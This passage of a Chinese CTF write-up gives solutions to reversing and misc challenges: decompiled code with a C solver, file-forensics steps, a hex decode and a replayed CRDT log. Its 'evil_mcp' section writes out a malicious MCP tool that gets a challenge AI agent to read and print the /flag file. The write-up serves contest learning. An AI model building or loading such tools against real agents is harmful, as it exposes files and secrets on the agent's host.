0x5f, 0x6c, 0x75, 0x63, 0x6b, 0x5f, 0x66, 0x6f, 
0x72, 0x5f, 0x79, 0x30, 0x75, 0x21, 0x7d, 0x00, 
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00]
cipher[6] -= 65
cipher[42] -= 87
cipher[47] -= 84
cipher[62] -= 87
cipher[65] -= 87
cipher[80] -= 86
cipher[87] -= 88
cipher[119] -= 86
cipher[137] -= 85

for i in range(183):
    print(chr(cipher[i]))

flag

SYC{Alright_I_sti1l_h0pe_th3t_you_solved_the_chall3nge_by_deobfuscating_them_Geek_is_just_the_first_step_of_your_CTF_journey_Im_glad_I_could_be_part_of_your_growth_Good_luck_for_y0u!}

Lastone

解题流程

看看伪代码

int __cdecl main(int argc, const char **argv, const char **envp)
{
  void *v3; // eax
  int v4; // eax
  FILE *v5; // eax
  int v7; // [esp-8h] [ebp-150h]
  char v8; // [esp+0h] [ebp-148h]
  char v9; // [esp+0h] [ebp-148h]
  char v10; // [esp+0h] [ebp-148h]
  unsigned int v11; // [esp+10h] [ebp-138h]
  int i; // [esp+DCh] [ebp-6Ch]
  _BYTE v13[3]; // [esp+E8h] [ebp-60h] BYREF
  _BYTE v14[11]; // [esp+EBh] [ebp-5Dh] BYREF
  _BYTE v15[16]; // [esp+F6h] [ebp-52h] BYREF
  char v16[2]; // [esp+106h] [ebp-42h] BYREF
  char Buffer[44]; // [esp+110h] [ebp-38h] BYREF
  BOOL Wow64Process; // [esp+13Ch] [ebp-Ch] BYREF
  int savedregs; // [esp+148h] [ebp+0h] BYREF

  sub_AE125D(&unk_AEE0A3);
  Wow64Process = 0;
  GetCurrentProcess();
  v3 = (void *)sub_AE1186();
  IsWow64Process(v3, &Wow64Process);
  if ( sub_AE1186() && Wow64Process )
  {
    sub_AE1091("[+] Input your flag: ", v8);
    __acrt_iob_func(0);
    v5 = (FILE *)sub_AE1186();
    fgets(Buffer, 33, v5);
    if ( sub_AE1186() )
    {
      strcspn(Buffer, "\r\n");
      v11 = sub_AE1186();
      if ( v11 >= 0x21 )
        sub_AE1032();
      Buffer[v11] = 0;
      if ( strlen(Buffer) == 32 )
      {
        Encode(Buffer);
        qmemcpy(v13, "5g", 2);
        v13[2] = 5;
        qmemcpy(v14, "-t@S1AobEK", 10);
        v14[10] = 31;
        qmemcpy(v15, "W6_KsnOl_I]", 11);
        v15[11] = 127;
        v15[12] = 63;
        v15[13] = 121;
        v15[14] = 40;
        v15[15] = -46;
        qmemcpy(v16, "i~", sizeof(v16));
        for ( i = 0; i < 32; ++i )
        {
          if ( v13[i] != Buffer[i] )
          {
            sub_AE1091("Wrong\n", v9);
            v4 = 0;
            goto LABEL_16;
          }
        }
        sub_AE1091("Yes,Yes.\n", v9);
        sub_AE1091("This is my love.\nI LOVE YOU.\nThanks!\n", v10);
        v4 = 0;
      }
      else
      {
        sub_AE1091("[!] Wrong\n", v9);
        v4 = 1;
      }
    }
    else
    {
      sub_AE1091("[!] Wrong!\n", v9);
      v4 = 1;
    }
  }
  else
  {
    sub_AE1091("[!] Must run in 32-bit on 64-bit Windows\n", v8);
    v4 = 1;
  }
LABEL_16:
  v7 = v4;
  sub_AE113B(&savedregs, &dword_AE3CCC);
  return v7;
}
// attributes: thunk
int __cdecl Encode(int a1)
{
  return sub_AE2330(a1);
}
__int64 __cdecl sub_AE2330(int a1)
{
  __int64 v1; // rax
  int v2; // edx
  __int64 v4; // [esp-8h] [ebp-CC0h]
  char v5; // [esp+0h] [ebp-CB8h]
  int v6; // [esp+3E8h] [ebp-8D0h]
  int v7; // [esp+3F4h] [ebp-8C4h]
  int v8; // [esp+400h] [ebp-8B8h]
  int v9; // [esp+40Ch] [ebp-8ACh]
  int j; // [esp+418h] [ebp-8A0h]
  int i; // [esp+424h] [ebp-894h]
  void *lpAddress; // [esp+458h] [ebp-860h]
  int v13; // [esp+464h] [ebp-854h] BYREF
  int v14; // [esp+468h] [ebp-850h]
  int v15; // [esp+46Ch] [ebp-84Ch]
  int v16; // [esp+470h] [ebp-848h]
  int savedregs; // [esp+CB8h] [ebp+0h] BYREF

  VirtualAlloc(0, 0x1000u, 0x3000u, 0x40u);
  lpAddress = (void *)sub_AE1186();
  if ( lpAddress )
  {
    memcpy(lpAddress, &unk_AEC260, 0x38u);
    for ( i = 0; i < 8; ++i )
      *((_BYTE *)lpAddress + i + 2) = sub_AE105A(8 * i, 0);
    byte_AEC4E0 = (int (__cdecl *)(_DWORD, _DWORD, _DWORD))lpAddress;
    *((_WORD *)&byte_AEC4E0 + 2) = 51;
    for ( j = 0; j < 8; ++j )
    {
      sub_AE10B4(&v13);
      if ( sub_AE11DB(&v13, (char *)&unk_AEC040 + 64 * j, dword_AEC240[j]) )
      {
        sub_AE1091("[!] Wrong\n", v5);
        VirtualFree(lpAddress, 0, 0x8000u);
        LODWORD(v1) = sub_AE1186();
        goto LABEL_12;
      }
      v9 = v13;
      v8 = v14;
      v7 = v15;
      v6 = v16;
      memset(&dword_AEC4E8, 0, 0x28u);
      dword_AEC4E8 = v13;
      dword_AEC4EC = 0;
      dword_AEC4F0 = v14;
      dword_AEC4F4 = 0;
      dword_AEC4F8 = v15;
      dword_AEC4FC = 0;
      dword_AEC500 = v16;
      dword_AEC504 = 0;
      dword_AEC508 = -1;
      MK_FP(*((_WORD *)&byte_AEC4E0 + 2), byte_AEC4E0)(v16, v2, 0);
      funcs_AE2612[dword_AEC508 & 0xF](a1 + 4 * j, 4, (v8 + v6 * v7) ^ (40503 * v9));
      sub_AE1186();
    }
    VirtualFree(lpAddress, 0, 0x8000u);
    LODWORD(v1) = sub_AE1186();
  }
  else
  {
    LODWORD(v1) = sub_AE1091("[!] Wrong\n", v5);
  }
LABEL_12:
  v4 = v1;
  sub_AE113B(&savedregs, &dword_AE2674);
  return v4;
}

其中加密的重点在于funcs_AE2612

alt text
这里这几个函数事实上用到的只有几个,直接逆了

exp

#include<stdio.h>
void fun5(char a1[], int a2){
    char v3;
    v3 = a1[0];
    a1[0] = a1[a2 - 1];
    a1[a2 - 1] = v3;
}

void fun1(char a1[], int a2, unsigned int a3){
    for(int i = 0;i < a2;i ++){
        a1[i] ^= a3 >> (8 * (i % 4));
    }
}

void fun13(char a1[], int a2, char a3){
    for(int i = a2 - 1;i >= 0;i --){
        if(i > 0){
            a1[i] ^= a1[i-1];
        }
        else if(i == 0){
            a1[i] ^= a3;
        }
    }
}

void fun7(char a1[], int a2){
    int ra2 = a2 / 2;
    char v3;
    for(int i = 0;i < ra2;i ++){
        v3 = a1[i];
        a1[i] = a1[a2 - 1 - i];
        a1[a2 - 1 - i] = v3;
    }
}

void fun4(char a1[], int a2, unsigned int a3){
    for(int i = 0;i < a2;i ++){
        a1[i] += a3 >> (8 * (i % 4));
    }
}

int main(void){
    char c[] = {'5','g',5,'-','t','@','S','1','A','o','b','E','K',31,'W','6','_','K','s','n','O','l','_','I',']',127,63,121,40,-46,'i','~'};
    char temp[4];
    char flag[32];
    for(int i = 0;i < 8;i ++){
        for(int j = 0;j < 4;j ++){
            temp[j] = c[j + i*4];
        }
        if(i == 0){
            temp[0] = 'S';
            temp[1] = 'Y';
            temp[2] = 'C';
            temp[3] = '{';
        }
        else if(i == 1){
            fun5(temp,4);
        }
        else if(i == 2){
            fun1(temp,4,0x000C5F1E);
        }
        else if(i == 3){
            fun13(temp,4,0x14);
        }
        else if(i == 4){
            fun5(temp,4);
        }
        else if(i == 5){
            fun7(temp,4);
        }
        else if(i == 6){
            fun4(temp,4,0x0020C619);
        }
        else if(i == 7){
            fun1(temp,4,0x03488718);
        }
        for(int j = 0;j < 4;j ++){
            flag[j + i*4] = temp[j];
        }
    }
    for(int i = 0;i < 32;i ++){
        printf("%c",flag[i]);
    }
}

flag

SYC{1@St_0nE_THanKs_I_lOvE_y0U!}

Misc

evil_mcp

解题流程

这里需要写一个mcp工具让题目的ai读取并打印flag 直接按照模板写就行

exp

from typing import Any

@tool(
    name="get_flag",
    description="读取并输出flag文件内容",
    input_schema={
        "type": "object",
        "properties": {
            "file_path": {
                "type": "string",
                "description": "flag文件路径,默认为/flag"
            }
        },
        "required": []
    }
)
async def get_flag(arguments: dict[str, Any], context: ToolExecutionContext) -> ToolResult:
    file_path = arguments.get('file_path', '/flag')
    
    try:
        with open(file_path, 'r') as f:
            flag_content = f.read().strip()
        
        content = (
            f"Flag内容: {flag_content}\n"
            f"session_id={context.session_id}, invocation_id={context.invocation_id}"
        )
        return ToolResult(content=content)
        
    except FileNotFoundError:
        print("error")
tool = get_flag

Bite off picture

解题流程

得到一个.zip文件,使用010打开并加载zip模板,从文件结尾读到了额外的数据

==gcyV2dyV2d

倒置后解Base64编码得到

werwerr

使用它解压zip,得到一张图片wow.png,但并不包含flag 使用010再打开图片,修改图片大小

alt text
再次打开图片发现flag
alt text

flag

SYC{mi3c_13_really_fun!!!!!}

Blockchain SignIn

解题流程

直接打开

0x208e0465ea757073d0ec6af9094e5404ef81a213970eb580fa6a28a3af4669d6

的交易 从输入数据处得到

0x5359437b773362335f67346d335f73743472747d

直接用Cyberchef from hex解

flag

SYC{w3b3_g4m3_st4rt}

hidden

解题流程

拿到docx文件,直接解压,从word/document.xml得到

alt text
从doc/word.txt得到

flag2:MzYyZ2V5ZGd3dW5rZHdlZQ==

解Base64得到

362geydgwunkdwee

最后一张图片无法打开,使用010检查,发现文件头损坏,补上即可

alt text
得到
alt text

flag

SYC{adasd362geydgwunkdweesjdmd}

CRDT

解题流程

下载得到一份CRDT记录,直接按照顺序操作一一遍就行, 但直接徒手操作太不健康了,所以选择使用py辅助

exp

import json
from collections import defaultdict, deque

log_data = """
[
  {
    "op": "ins",
    "id": "A:1",
    "parent": "HEAD",
    "ch": "S",
    "site": "A",
    "ctr": 1
  },
  {
    "op": "del",
    "id": "B:48"
  },
  {
    "op": "del",
    "id": "C:15"
  },
  {
    "op": "del",
    "id": "B:35"
  },
  {
    "op": "ins",
    "id": "A:41",
    "parent": "B:1",
    "ch": "i",
    "site": "A",
    "ctr": 41
  },
  {
    "op": "del",
    "id": "C:13"
  },
  {
    "op": "del",
    "id": "A:54"
  },
  {
    "op": "del",
    "id": "A:39"
  },
  {
    "op": "ins",
    "id": "A:43",
    "parent": "C:2",
    "ch": "☆",
    "site": "A",
    "ctr": 43
  },
  {
    "op": "del",
    "id": "B:24"
  },
  {
    "op": "del",
    "id": "A:30"
  },
  {
    "op": "ins",
    "id": "A:29",
    "parent": "C:10",
    "ch": "Y",
    "site": "A",
    "ctr": 29
  },
  {
    "op": "ins",
    "id": "A:38",
    "parent": "B:8",
    "ch": "b",
    "site": "A",
    "ctr": 38
  },
  {
    "op": "del",
    "id": "A:48"
  },
  {
    "op": "ins",
    "id": "A:17",
    "parent": "A:7",
    "ch": "4",
    "site": "A",
    "ctr": 17
  },
  {
    "op": "ins",
    "id": "C:27",
    "parent": "B:11",
    "ch": "Y",
    "site": "C",
    "ctr": 27
  },
  {
    "op": "del",
    "id": "B:56"
  },
  {
    "op": "ins",
    "id": "A:47",
    "parent": "B:5",
    "ch": "t",
    "site": "A",
    "ctr": 47
  },
  {
    "op": "del",
    "id": "B:51"
  },
  {
    "op": "del",
    "id": "C:28"
  },
  {
    "op": "del",
    "id": "B:18"
  },
  {
    "op": "del",
    "id": "B:34"
  },
  {
    "op": "ins",
    "id": "B:8",
    "parent": "A:8",
    "ch": "_",
    "site": "B",
    "ctr": 8
  },
  {
    "op": "del",
    "id": "B:47"
  },
  {
    "op": "ins",
    "id": "B:14",
    "parent": "B:6",
    "ch": "f",
    "site": "B",
    "ctr": 14
  },
  {
    "op": "del",
    "id": "A:13"
  },
  {
    "op": "ins",
    "id": "A:5",
    "parent": "C:4",
    "ch": "_",
    "site": "A",
    "ctr": 5
  },
  {
    "op": "ins",
    "id": "A:31",
    "parent": "B:8",
    "ch": "A",
    "site": "A",
    "ctr": 31
  },
  {
    "op": "ins",
    "id": "C:20",
    "parent": "C:9",
    "ch": "4",
    "site": "C",
    "ctr": 20
  },
  {
    "op": "ins",
    "id": "B:10",
    "parent": "A:10",
    "ch": "_",
    "site": "B",
    "ctr": 10
  },
  {
    "op": "del",
    "id": "C:26"
  },
  {
    "op": "del",
    "id": "B:14"
  },
  {
    "op": "del",
    "id": "B:32"
  },
  {
    "op": "ins",
    "id": "C:41",
    "parent": "C:5",
    "ch": "_",
    "site": "C",
    "ctr": 41
  },
  {
    "op": "ins",
    "id": "B:28",
    "parent": "B:4",
    "ch": "m",
    "site": "B",
    "ctr": 28
  },
  {
    "op": "ins",
    "id": "B:44",
    "parent": "B:4",
    "ch": "I",
    "site": "B",
    "ctr": 44
  },
  {
    "op": "ins",
    "id": "A:11",
    "parent": "C:10",
    "ch": "A",
    "site": "A",
    "ctr": 11
  },
  {
    "op": "del",
    "id": "B:56"
  },
  {
    "op": "del",
    "id": "A:33"
  },
  {
    "op": "del",
    "id": "B:52"
  },
  {
    "op": "ins",
    "id": "A:52",
    "parent": "A:2",
    "ch": "≈",
    "site": "A",
    "ctr": 52
  },
  {
    "op": "ins",
    "id": "C:19",
    "parent": "B:11",
    "ch": "Q",
    "site": "C",
    "ctr": 19
  },
  {
    "op": "ins",
    "id": "C:17",
    "parent": "C:8",
    "ch": "x",
    "site": "C",
    "ctr": 17
  },
  {
    "op": "ins",
    "id": "C:28",
    "parent": "C:4",
    "ch": "1",
    "site": "C",
    "ctr": 28
  },
  {
    "op": "del",
    "id": "A:47"
  },
  {
    "op": "ins",
    "id": "B:13",
    "parent": "C:2",
    "ch": "b",
    "site": "B",
    "ctr": 13
  },
  {
    "op": "del",
    "id": "B:12"
  },
  {
    "op": "ins",
    "id": "C:1",
    "parent": "B:1",
    "ch": "C",
    "site": "C",
    "ctr": 1
  },
  {
    "op": "del",
    "id": "A:44"
  },
  {
    "op": "del",
    "id": "B:15"
  },
  {
    "op": "del",
    "id": "B:53"
  },
  {
    "op": "ins",
    "id": "A:32",
    "parent": "C:8",
    "ch": "P",
    "site": "A",
    "ctr": 32
  },
  {
    "op": "del",
    "id": "C:40"
  },
  {
    "op": "del",
    "id": "B:42"
  },
  {
    "op": "ins",
    "id": "C:36",
    "parent": "C:6",
    "ch": "p",
    "site": "C",
    "ctr": 36
  },
  {
    "op": "del",
    "id": "A:25"
  },
  {
    "op": "ins",
    "id": "A:3",
    "parent": "C:2",
    "ch": "D",
    "site": "A",
    "ctr": 3
  },
  {
    "op": "del",
    "id": "C:24"
  },
  {
    "op": "del",
    "id": "B:28"
  },
  {
    "op": "ins",
    "id": "B:23",
    "parent": "A:12",
    "ch": "★",
    "site": "B",
    "ctr": 23
  },
  {
    "op": "del",
    "id": "A:15"
  },
  {
    "op": "ins",
    "id": "A:35",
    "parent": "C:9",
    "ch": "R",
    "site": "A",
    "ctr": 35
  },
  {
    "op": "ins",
    "id": "B:42",
    "parent": "B:8",
    "ch": "8",
    "site": "B",
    "ctr": 42
  },
  {
    "op": "del",
    "id": "C:12"
  },
  {
    "op": "del",
    "id": "C:23"
  },
  {
    "op": "del",
    "id": "A:17"
  },
  {
    "op": "ins",
    "id": "A:51",
    "parent": "C:9",
    "ch": "3",
    "site": "A",
    "ctr": 51
  },
  {
    "op": "ins",
    "id": "A:55",
    "parent": "A:12",
    "ch": "6",
    "site": "A",
    "ctr": 55
  },
  {
    "op": "del",
    "id": "C:38"
  },
  {
    "op": "del",
    "id": "B:33"
  },
  {
    "op": "ins",
    "id": "A:30",
    "parent": "C:6",
    "ch": "←",
    "site": "A",
    "ctr": 30
  },
  {
    "op": "ins",
    "id": "B:9",
    "parent": "A:9",
    "ch": "_",
    "site": "B",
    "ctr": 9
  },
  {
    "op": "ins",
    "id": "A:4",
    "parent": "C:3",
    "ch": "R",
    "site": "A",
    "ctr": 4
  },
  {
    "op": "ins",
    "id": "B:51",
    "parent": "B:10",
    "ch": "U",
    "site": "B",
    "ctr": 51
  },
  {
    "op": "ins",
    "id": "C:21",
    "parent": "A:3",
    "ch": "a",
    "site": "C",
    "ctr": 21
  },
  {
    "op": "ins",
    "id": "B:29",
    "parent": "A:11",
    "ch": "s",
    "site": "B",
    "ctr": 29
  },
  {
    "op": "ins",
    "id": "C:9",
    "parent": "B:9",
    "ch": "S",
    "site": "C",
    "ctr": 9
  },
  {
    "op": "del",
    "id": "B:37"
  },
  {
    "op": "ins",
    "id": "A:33",
    "parent": "B:8",
    "ch": "b",
    "site": "A",
    "ctr": 33
  },
  {
    "op": "del",
    "id": "B:50"
  },
  {
    "op": "ins",
    "id": "A:50",
    "parent": "A:7",
    "ch": "1",
    "site": "A",
    "ctr": 50
  },
  {
    "op": "ins",
    "id": "B:4",
    "parent": "A:4",
    "ch": "G",
    "site": "B",
    "ctr": 4
  },
  {
    "op": "del",
    "id": "B:16"
  },
  {
    "op": "ins",
    "id": "B:52",
    "parent": "C:2",
    "ch": "/",
    "site": "B",
    "ctr": 52
  },
  {
    "op": "del",
    "id": "A:14"
  },
  {
    "op": "del",
    "id": "B:27"
  },
  {
    "op": "ins",
    "id": "C:40",
    "parent": "C:5",
    "ch": "J",
    "site": "C",
    "ctr": 40
  },
  {
    "op": "ins",
    "id": "A:23",
    "parent": "C:3",
    "ch": "❌",
    "site": "A",
    "ctr": 23
  },
  {
    "op": "ins",
    "id": "B:15",
    "parent": "B:5",
    "ch": "C",
    "site": "B",
    "ctr": 15
  },
  {
    "op": "del",
    "id": "B:44"
  },
  {
    "op": "del",
    "id": "B:26"
  },
  {
    "op": "del",
    "id": "B:43"
  },
  {
    "op": "ins",
    "id": "A:39",
    "parent": "C:2",
    "ch": "y",
    "site": "A",
    "ctr": 39
  },
  {
    "op": "del",
    "id": "B:21"
  },
  {
    "op": "ins",
    "id": "B:25",
    "parent": "C:6",
    "ch": "f",
    "site": "B",
    "ctr": 25
  },
  {
    "op": "ins",
    "id": "A:21",
    "parent": "C:6",
    "ch": "n",
    "site": "A",
    "ctr": 21
  },
  {
    "op": "del",
    "id": "C:17"
  },
  {
    "op": "ins",
    "id": "A:35",
    "parent": "C:9",
    "ch": "R",
    "site": "A",
    "ctr": 35
  },
  {
    "op": "del",
    "id": "A:46"
  },
  {
    "op": "del",
    "id": "A:34"
  },
  {
    "op": "del",
    "id": "A:19"
  },
  {
    "op": "ins",
    "id": "B:11",
    "parent": "A:11",
    "ch": "S",
    "site": "B",
    "ctr": 11
  },
  {
    "op": "ins",
    "id": "A:1",
    "parent": "HEAD",
    "ch": "S",
    "site": "A",
    "ctr": 1
  },
  {
    "op": "ins",
    "id": "B:2",
    "parent": "A:2",
    "ch": "C",
    "site": "B",
    "ctr": 2
  },
  {
    "op": "ins",
    "id": "A:6",
    "parent": "C:5",
    "ch": "A",
    "site": "A",
    "ctr": 6
  },
  {
    "op": "ins",
    "id": "A:9",
    "parent": "C:8",
    "ch": "S",
    "site": "A",
    "ctr": 9
  },
  {
    "op": "ins",
    "id": "A:24",
    "parent": "HEAD",
    "ch": "H",
    "site": "A",
    "ctr": 24
  },
  {
    "op": "del",
    "id": "B:39"
  },
  {
    "op": "ins",
    "id": "C:25",
    "parent": "B:2",
    "ch": "9",
    "site": "C",
    "ctr": 25
  },
  {
    "op": "ins",
    "id": "C:14",
    "parent": "B:9",
    "ch": "2",
    "site": "C",
    "ctr": 14
  },
  {
    "op": "del",
    "id": "C:37"
  },
  {
    "op": "del",
    "id": "C:36"
  },
  {
    "op": "del",
    "id": "A:28"
  },
  {
    "op": "ins",
    "id": "B:50",
    "parent": "B:4",
    "ch": "n",
    "site": "B",
    "ctr": 50
  },
  {
    "op": "ins",
    "id": "B:24",
    "parent": "A:3",
    "ch": "B",
    "site": "B",
    "ctr": 24
  },
  {
    "op": "del",
    "id": "A:51"
  },
  {
    "op": "del",
    "id": "A:29"
  },
  {
    "op": "ins",
    "id": "A:16",
    "parent": "C:1",
    "ch": "D",
    "site": "A",
    "ctr": 16
  },
  {
    "op": "ins",
    "id": "A:45",
    "parent": "A:12",
    "ch": "j",
    "site": "A",
    "ctr": 45
  },
  {
    "op": "del",
    "id": "B:22"
  },
  {
    "op": "del",
    "id": "A:57"
  },
  {
    "op": "ins",
    "id": "C:2",
    "parent": "B:2",
    "ch": "R",
    "site": "C",
    "ctr": 2
  },
  {
    "op": "del",
    "id": "C:12"
  },
  {
    "op": "ins",
    "id": "B:43",
    "parent": "B:5",
    "ch": "l",
    "site": "B",
    "ctr": 43
  },
  {
    "op": "ins",
    "id": "A:8",
    "parent": "C:7",
    "ch": "E",
    "site": "A",
    "ctr": 8
  },
  {
    "op": "ins",
    "id": "A:22",
    "parent": "B:4",
    "ch": "S",
    "site": "A",
    "ctr": 22
  },
  {
    "op": "ins",
    "id": "B:33",
    "parent": "C:7",
    "ch": "l",
    "site": "B",
    "ctr": 33
  },
  {
    "op": "del",
    "id": "C:21"
  },
  {
    "op": "del",
    "id": "C:39"
  },
  {
    "op": "del",
    "id": "C:20"
  },
  {
    "op": "ins",
    "id": "B:56",
    "parent": "B:4",
    "ch": "_",
    "site": "B",
    "ctr": 56
  },
  {
    "op": "del",
    "id": "B:55"
  },
  {
    "op": "ins",
    "id": "C:26",
    "parent": "A:1",
    "ch": "m",
    "site": "C",
    "ctr": 26
  },
  {
    "op": "ins",
    "id": "B:16",
    "parent": "B:6",
    "ch": "j",
    "site": "B",
    "ctr": 16
  },
  {
    "op": "ins",
    "id": "A:19",
    "parent": "A:3",
    "ch": "9",
    "site": "A",
    "ctr": 19
  },
  {
    "op": "ins",
    "id": "A:33",
    "parent": "B:8",
    "ch": "b",
    "site": "A",
    "ctr": 33
  },
  {
    "op": "ins",
    "id": "C:15",
    "parent": "A:8",
    "ch": "y",
    "site": "C",
    "ctr": 15
  },
  {
    "op": "ins",
    "id": "A:26",
    "parent": "A:9",
    "ch": "4",
    "site": "A",
    "ctr": 26
  },
  {
    "op": "ins",
    "id": "B:45",
    "parent": "A:8",
    "ch": "A",
    "site": "B",
    "ctr": 45
  },
  {
    "op": "ins",
    "id": "C:18",
    "parent": "A:5",
    "ch": "M",
    "site": "C",
    "ctr": 18
  },
  {
    "op": "ins",
    "id": "B:49",
    "parent": "B:1",
    "ch": "4",
    "site": "B",
    "ctr": 49
  },
  {
    "op": "del",
    "id": "B:46"
  },
  {
    "op": "ins",
    "id": "A:13",
    "parent": "C:5",
    "ch": "7",
    "site": "A",
    "ctr": 13
  },
  {
    "op": "del",
    "id": "C:30"
  },
  {
    "op": "del",
    "id": "A:23"
  },
  {
    "op": "del",
    "id": "A:40"
  },
  {
    "op": "ins",
    "id": "C:38",
    "parent": "C:2",
    "ch": "K",
    "site": "C",
    "ctr": 38
  },
  {
    "op": "ins",
    "id": "A:27",
    "parent": "B:9",
    "ch": "#",
    "site": "A",
    "ctr": 27
  },
  {
    "op": "del",
    "id": "A:44"
  },
  {
    "op": "ins",
    "id": "B:46",
    "parent": "B:8",
    "ch": "W",
    "site": "B",
    "ctr": 46
  },
  {
    "op": "del",
    "id": "B:25"
  },
  {
    "op": "ins",
    "id": "A:37",
    "parent": "B:3",
    "ch": "r",
    "site": "A",
    "ctr": 37
  },
  {
    "op": "del",
    "id": "C:16"
  },
  {
    "op": "ins",
    "id": "A:14",
    "parent": "B:2",
    "ch": "f",
    "site": "A",
    "ctr": 14
  },
  {
    "op": "del",
    "id": "A:49"
  },
  {
    "op": "ins",
    "id": "B:12",
    "parent": "A:7",
    "ch": "☆",
    "site": "B",
    "ctr": 12
  },
  {
    "op": "ins",
    "id": "C:34",
    "parent": "A:10",
    "ch": "t",
    "site": "C",
    "ctr": 34
  },
  {
    "op": "ins",
    "id": "B:38",
    "parent": "A:1",
    "ch": "u",
    "site": "B",
    "ctr": 38
  },
  {
    "op": "del",
    "id": "A:27"
  },
  {
    "op": "del",
    "id": "C:32"
  },
  {
    "op": "ins",
    "id": "A:20",
    "parent": "A:1",
    "ch": "A",
    "site": "A",
    "ctr": 20
  },
  {
    "op": "ins",
    "id": "B:22",
    "parent": "B:1",
    "ch": "S",
    "site": "B",
    "ctr": 22
  },
  {
    "op": "del",
    "id": "A:43"
  },
  {
    "op": "ins",
    "id": "A:18",
    "parent": "B:9",
    "ch": "w",
    "site": "A",
    "ctr": 18
  },
  {
    "op": "ins",
    "id": "A:48",
    "parent": "C:8",
    "ch": "d",
    "site": "A",
    "ctr": 48
  },
  {
    "op": "del",
    "id": "C:32"
  },
  {
    "op": "del",
    "id": "C:34"
  },
  {
    "op": "del",
    "id": "C:22"
  },
  {
    "op": "ins",
    "id": "B:44",
    "parent": "B:4",
    "ch": "I",
    "site": "B",
    "ctr": 44
  },
  {
    "op": "ins",
    "id": "B:5",
    "parent": "A:5",
    "ch": "C",
    "site": "B",
    "ctr": 5
  },
  {
    "op": "del",
    "id": "C:27"
  },
  {
    "op": "del",
    "id": "C:20"
  },
  {
    "op": "ins",
    "id": "A:15",
    "parent": "C:6",
    "ch": "#",
    "site": "A",
    "ctr": 15
  },
  {
    "op": "ins",
    "id": "C:29",
    "parent": "C:9",
    "ch": "U",
    "site": "C",
    "ctr": 29
  },
  {
    "op": "ins",
    "id": "C:24",
    "parent": "C:9",
    "ch": "k",
    "site": "C",
    "ctr": 24
  },
  {
    "op": "ins",
    "id": "A:12",
    "parent": "C:11",
    "ch": "}",
    "site": "A",
    "ctr": 12
  },
  {
    "op": "del",
    "id": "A:26"
  },
  {
    "op": "ins",
    "id": "B:36",
    "parent": "C:6",
    "ch": "T",
    "site": "B",
    "ctr": 36
  },
  {
    "op": "del",
    "id": "A:52"
  },
  {
    "op": "ins",
    "id": "A:40",
    "parent": "C:2",
    "ch": "_",
    "site": "A",
    "ctr": 40
  },
  {
    "op": "ins",
    "id": "C:7",
    "parent": "B:7",
    "ch": "G",
    "site": "C",
    "ctr": 7
  },
  {
    "op": "del",
    "id": "A:32"
  },
  {
    "op": "del",
    "id": "A:53"
  },
  {
    "op": "del",
    "id": "A:31"
  },
  {
    "op": "del",
    "id": "B:29"
  },
  {
    "op": "del",
    "id": "A:56"
  },
  {
    "op": "ins",
    "id": "C:10",
    "parent": "B:10",
    "ch": "E",
    "site": "C",
    "ctr": 10
  },
  {
    "op": "ins",
    "id": "A:49",
    "parent": "A:7",
    "ch": "z",
    "site": "A",
    "ctr": 49
  },
  {
    "op": "del",
    "id": "A:24"
  },
  {
    "op": "del",
    "id": "A:41"
  },
  {
    "op": "ins",
    "id": "B:37",
    "parent": "B:3",
    "ch": "B",
    "site": "B",
    "ctr": 37
  },
  {
    "op": "ins",
    "id": "A:10",
    "parent": "C:9",
    "ch": "O",
    "site": "A",
    "ctr": 10
  },
  {
    "op": "ins",
    "id": "B:7",
    "parent": "A:7",
    "ch": "N",
    "site": "B",
    "ctr": 7
  },
  {
    "op": "del",
    "id": "B:13"
  },
  {
    "op": "ins",
    "id": "B:17",
    "parent": "B:8",
    "ch": "P",
    "site": "B",
    "ctr": 17
  },
  {
    "op": "del",
    "id": "A:37"
  },
  {
    "op": "ins",
    "id": "B:41",
    "parent": "B:8",
    "ch": "A",
    "site": "B",
    "ctr": 41
  },
  {
    "op": "ins",
    "id": "A:36",
    "parent": "B:5",
    "ch": "c",
    "site": "A",
    "ctr": 36
  },
  {
    "op": "del",
    "id": "A:38"
  },
  {
    "op": "ins",
    "id": "B:19",
    "parent": "B:9",
    "ch": "6",
    "site": "B",
    "ctr": 19
  },
  {
    "op": "ins",
    "id": "A:44",
    "parent": "C:6",
    "ch": "≈",
    "site": "A",
    "ctr": 44
  },
  {
    "op": "del",
    "id": "B:54"
  },
  {
    "op": "del",
    "id": "C:35"
  },
  {
    "op": "del",
    "id": "B:49"
  },
  {
    "op": "del",
    "id": "B:29"
  },
  {
    "op": "del",
    "id": "C:41"
  },
  {
    "op": "ins",
    "id": "A:17",
    "parent": "A:7",
    "ch": "4",
    "site": "A",
    "ctr": 17
  },
  {
    "op": "del",
    "id": "A:16"
  },
  {
    "op": "ins",
    "id": "A:54",
    "parent": "C:6",
    "ch": "H",
    "site": "A",
    "ctr": 54
  },
  {
    "op": "ins",
    "id": "C:37",
    "parent": "A:11",
    "ch": "i",
    "site": "C",
    "ctr": 37
  },
  {
    "op": "ins",
    "id": "B:33",
    "parent": "C:7",
    "ch": "l",
    "site": "B",
    "ctr": 33
  },
  {
    "op": "ins",
    "id": "A:56",
    "parent": "A:10",
    "ch": "≈",
    "site": "A",
    "ctr": 56
  },
  {
    "op": "ins",
    "id": "A:31",
    "parent": "B:8",
    "ch": "A",
    "site": "A",
    "ctr": 31
  },
  {
    "op": "ins",
    "id": "C:30",
    "parent": "B:5",
    "ch": "_",
    "site": "C",
    "ctr": 30
  },
  {
    "op": "del",
    "id": "B:19"
  },
  {
    "op": "ins",
    "id": "B:17",
    "parent": "B:8",
    "ch": "P",
    "site": "B",
    "ctr": 17
  },
  {
    "op": "ins",
    "id": "B:39",
    "parent": "A:7",
    "ch": "→",
    "site": "B",
    "ctr": 39
  },
  {
    "op": "ins",
    "id": "A:46",
    "parent": "B:6",
    "ch": "G",
    "site": "A",
    "ctr": 46
  },
  {
    "op": "ins",
    "id": "B:47",
    "parent": "A:3",
    "ch": "P",
    "site": "B",
    "ctr": 47
  },
  {
    "op": "ins",
    "id": "C:3",
    "parent": "B:3",
    "ch": "_",
    "site": "C",
    "ctr": 3
  },
  {
    "op": "ins",
    "id": "A:53",
    "parent": "A:6",
    "ch": "L",
    "site": "A",
    "ctr": 53
  },
  {
    "op": "ins",
    "id": "B:18",
    "parent": "C:5",
    "ch": "4",
    "site": "B",
    "ctr": 18
  },
  {
    "op": "del",
    "id": "B:41"
  },
  {
    "op": "del",
    "id": "C:31"
  },
  {
    "op": "del",
    "id": "C:33"
  },
  {
